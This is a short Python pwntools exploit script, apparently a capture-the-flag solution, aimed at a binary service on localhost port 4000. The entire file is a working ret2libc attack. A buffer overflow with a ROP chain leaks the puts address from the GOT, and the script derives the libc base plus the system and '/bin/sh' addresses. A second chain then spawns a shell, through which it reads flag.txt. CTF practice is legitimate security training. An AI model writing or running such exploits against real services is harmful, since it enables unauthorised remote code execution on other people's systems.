from pwn import remote, log, p64, u64, time

with remote("localhost", 4000, fam="ipv4") as p:
    p.recvuntil(b">>> ")
    payload  = b"A" * 0x20
    payload += p64(0x601100) # set rbp
    payload += p64(0x400743) # pop rdi
    payload += p64(0x600fc8) # puts got
    payload += p64(0x400550) # puts plt
    payload += p64(0x400689) # main addr
    log.info(payload)
    p.sendline(payload)
    leak = p.recvuntil(b"\n", drop=True)
    p.clean()
    puts_addr = u64(leak+b"\x00"*2)
    puts_offset = 0x68f90
    libc_base = puts_addr - puts_offset 
    system_offset = 0x3f480 
    system_addr = libc_base + system_offset
    bin_sh_offset = 0x161c19
    bin_sh_addr = libc_base + bin_sh_offset
    log.info(f"puts_addr: {hex(puts_addr)}")
    log.info(f"libc_base: {hex(libc_base)}")
    log.info(f"system_addr: {hex(system_addr)}")
    log.info(f"bin_sh_addr: {hex(bin_sh_addr)}")
    payload2  = b"B" * 0x28
    payload2 += p64(0x400743)
    payload2 += p64(bin_sh_addr)
    payload2 += p64(system_addr)
    log.info(payload2)
    p.sendline(payload2)
    time.sleep(0.1)
    p.sendline(b"cat flag.txt")
    log.info(p.clean().decode())
